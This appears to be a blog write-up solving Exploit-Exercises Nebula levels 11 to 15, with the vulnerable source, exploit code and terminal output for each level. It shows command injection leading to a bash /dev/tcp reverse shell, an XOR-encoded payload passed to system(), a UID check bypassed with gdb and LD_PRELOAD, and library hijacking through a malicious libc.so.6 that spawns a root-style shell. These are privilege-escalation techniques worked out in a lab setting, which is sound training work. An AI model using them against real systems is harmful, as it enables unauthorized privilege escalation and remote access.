index search github twitter

Exploit-Exercises: Nebula (11-15)

Image: Exploit-Exercises: Nebula (v5)

Level11

According to the assignment, there should be two ways how to exploit the source below.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

The fread(buf, length, 1, stdin) always returns 1 as we can read in the unix manual: fread() and fwrite() return the number of items successfully read or written (i.e., not the number of characters).

Here if(length < sizeof(buf)) { we have two ways to progress. I suppose having two solutions means calling process() from the different parts of code.

The first way is setting “Content-Length: 1”. The buffer is XORed using the simple algorithm below, this time the ‘for’ cycle runs only once.

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }
sh-4.2$ ruby -e 'print "Content-Length: 1\nA"' | /home/flag11/flag11 
sh: @: command not found

sh-4.2$ ruby -e 'print "Content-Length: 1\n" + ("A".ord ^ 0x01).chr'  | /home/flag11/flag11 
sh: $'A\300Q': command not found

sh-4.2$ ruby -e 'print "Content-Length: 1\n" + ("A".ord ^ 0x01).chr'  | /home/flag11/flag11 
sh: -c: line 0: unexpected EOF while looking for matching ``'
sh: -c: line 1: syntax error: unexpected end of file

sh-4.2$ ruby -e 'print "Content-Length: 1\n" + ("A".ord ^ 0x01).chr'  | /home/flag11/flag11 
sh: A: command not found

Because the buffer with ‘A’ character is not NULL terminated and contains uninitialized data, we use the technique described here Controlling uninitialized memory with LD_PRELOAD to have more luck with terminating ‘A’.

sh-4.2$ ln -sf /bin/getflag /tmp/A
sh-4.2$ export PATH=/tmp:$PATH

sh-4.2$ export LD_PRELOAD=$(ruby -e 'print "\n" * 50')

sh-4.2$ ruby -e 'print "Content-Length: 1\n" + ("A".ord ^ 0x01).chr'  | /home/flag11/flag11 
getflag is executing on a non-flag account, this doesn't count

The getflag runs, albeit there is a bug in the binary, because the new process is created using system(), so it wasn’t possible to get flag11 privileges.

man 3 system

  Do not use system() from a program with set-user-ID or set-group-ID privileges,
  because strange values for some environment variables might be used to subvert
  system integrity. Use the exec(3) family of functions instead, but not
  execlp(3) or execvp(3). system() will not, in fact, work properly from
  programs with set-user-ID or set-group-ID privileges on systems on which
  /bin/sh is bash version 2, since bash 2 drops privileges on startup. (Debian
  uses a modified bash which does not do this when invoked as sh.)

The second way is to use input with the length at least 1024. The decryption routine is almost symmetric. However, in this step key -= buffer[i]; we need to substract from key the original value, so we XOR it with the key again.

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

    unsigned int key;
    int i, length = 1024;
    char buffer[1024] = {0}; 
    char cmd[] = "/bin/getflag";
    int  cmd_length = strlen(cmd);

    memcpy(buffer, cmd, cmd_length);

    key = length & 0xff;

    for (i = 0; i <= cmd_length; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }   

    fprintf(stdout, "Content-Length: 1024\n");
    fwrite(buffer, 1, length, stdout);

    return 0;
}
sh-4.2$ export TEMP=/tmp
sh-4.2$ ./exploit11 | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count

Level12

The code below should be backdoored:

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

With io.popen we can invoke arbitrary command using several techniques. We use command substitution and two screens to gain reverse shell using bash:

Window1:
sh-4.2$ nc -l 1337

Window2:
sh-4.2$ nc 0 50001
Password: $(bash -i >& /dev/tcp/0.0.0.0/1337 0>&1)

Window1:
bash: no job control in this shell
flag12@nebula:/$ id
id
uid=987(flag12) gid=987(flag12) groups=987(flag12)

flag12@nebula:/$ getflag
getflag
You have successfully executed getflag on a target account

Level13

The vulnerable program checks if the user does match the specific user id.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}
level13@nebula:/home/flag13$ objdump -M intel flag13 -d | grep 0x3e8
 80484f4:       3d e8 03 00 00          cmp    eax,0x3e8
 8048505:       c7 44 24 08 e8 03 00    mov    DWORD PTR [esp+0x8],0x3e8

Because we know where the value 0x3e8 = 1000 is used to compare with eax, now we need only to tamper this value:

level13@nebula:/home/flag13$ gdb ./flag13 -q
Reading symbols from /home/flag13/flag13...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) b *0x80484f4
Breakpoint 1 at 0x80484f4

(gdb) r
Starting program: /home/flag13/flag13 
Breakpoint 1, 0x080484f4 in main ()

(gdb) i r eax 
eax            0x3f6    1014

(gdb) set $eax = 1000

(gdb) i r eax 
eax            0x3e8    1000

(gdb) c
Continuing.
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

level13@nebula:/home/flag13$ su flag13
Password: 
sh-4.2$ getflag
You have successfully executed getflag on a target account

As another solution we use the PRELOAD library. We use the copy of flag13, because the restriction with invoking preload with suid binaries.

level13@nebula:/tmp$ cat fakeuid.c 
#include <sys/types.h>
uid_t getuid(void) { return 1000; }

level13@nebula:/tmp$ gcc -shared -fPIC fakeuid.c -o fakeuid.so

level13@nebula:/tmp$ cp /home/flag13/flag13 .

level13@nebula:/tmp$ LD_PRELOAD=./fakeuid.so ./flag13 
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

Level14

The encryption process is trivial, on each byte position, the /home/flag14/flag14 add the position index to the ascii value of the character, started by 0, see:

level14@nebula:/home/flag14$ ruby -e 'print "\x01\x02\x03\x04"' | ./flag14 -e | hexdump -C
00000000  01 03 05 07                                       |....|
00000004
level14@nebula:/home/flag14$ ruby -e 'print "\xff\xff\xff\xff"' | ./flag14 -e | hexdump -C
00000000  ff 00 01 02                                       |....|
00000004

Now we use the reverse process to decrypt the token:

level14@nebula:/home/flag14$ ruby -pe 'puts $_[0..-3].force_encoding("iso-8859-1").split(//).each_with_index.map {|x,i| (x.ord-i).chr}.join' < token 
8457c118-887c-4e40-a5a6-33a25353165
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.

level14@nebula:/home/flag14$ su flag14
Password: 

sh-4.2$ getflag 
You have successfully executed getflag on a target account

Level15

From strace output we can see that the binary is trying to link shared library from /var/tmp/flag15 directory:

level15@nebula:/tmp$ strace -f /home/flag15/flag15 
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 21 vars */]) = 0
brk(0)                                  = 0x8b1f000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb784c000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", 0xbf8a8bb4)   = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7843000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7842000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78428d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x46b000, 4096, PROT_READ)     = 0
munmap(0xb7843000, 33815)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb784b000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?

We try to provide this library (in /var/tmp/flag15/libc.so.6):

level15@nebula:/tmp$ cat libc.so.6.c
void f(void *a) {} 

level15@nebula:/tmp$ mkdir /var/tmp/flag15

level15@nebula:/tmp$ gcc -shared libc.so.6.c -o /var/tmp/flag15/libc.so.6

level15@nebula:/tmp$ /home/flag15/flag15 
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

There is an error, because we are linking using GLIBC_2.1.3, but in the binary, there are two symbols with GLIBC_2.0 undefined:

level15@nebula:/tmp$ nm /home/flag15/flag15  | grep ".*U"
         U __libc_start_main@@GLIBC_2.0
         U puts@@GLIBC_2.0

We provide version script to the linker, link statically and try the same thing again.

GLIBC_2.0   {};
// libc.so.6.c
#include <stdio.h>

int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { 
  setreuid(geteuid(),geteuid());
  execve("/bin/sh", NULL, NULL);

  return 0;
}
level15@nebula:/tmp$ gcc -shared -static-libgcc -Wl,--version-script=version.map,-Bstatic libc.so.6.c -o /var/tmp/flag15/libc.so.6

level15@nebula:/tmp$ /home/flag15/flag15 
flag15@nebula:/tmp$ getflag 
You have successfully executed getflag on a target account

The second way how to solve the challenge is without linking libc, writing assembler code. For this purpose we used nasm assembler, everything needed for the compilation process was already on the nebula iso.

level15@nebula:/tmp$ wget -q http://www.nasm.us/pub/nasm/releasebuilds/2.11.08/nasm-2.11.08.tar.gz
level15@nebula:/tmp$ tar xzf nasm-2.11.08.tar.gz 
level15@nebula:/tmp$ cd nasm-2.11.08/
level15@nebula:/tmp/nasm-2.11.08$ ./configure && make ; cd ..
; shell.asm
section .data
cmd db '/bin/sh',0x0

section .text

global shell

shell:

;setreuid(geteuid(),geteuid());
mov eax, 49
int 0x80
mov ebx, eax
mov ecx, eax
mov eax, 70
int 0x80

;execve("/bin/sh", {"/bin/sh", NULL}, NULL)
mov eax, 11
lea ebx, [cmd]
mov ecx, 0
push ecx
push ebx
mov ecx, esp
mov edx, 0
int 0x80
// run-shell.c
void shell(void);
void __attribute__((constructor)) init()
{
  shell();
}
level15@nebula:/tmp$ /tmp/nasm-2.11.08/nasm -f elf shell.asm

level15@nebula:/tmp$ gcc -shared -nostdlib run-shell.c shell.o -o /var/tmp/flag15/libc.so.6 

level15@nebula:/tmp$ /home/flag15/flag15 
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)

sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)

sh-4.2$ getflag 
You have successfully executed getflag on a target account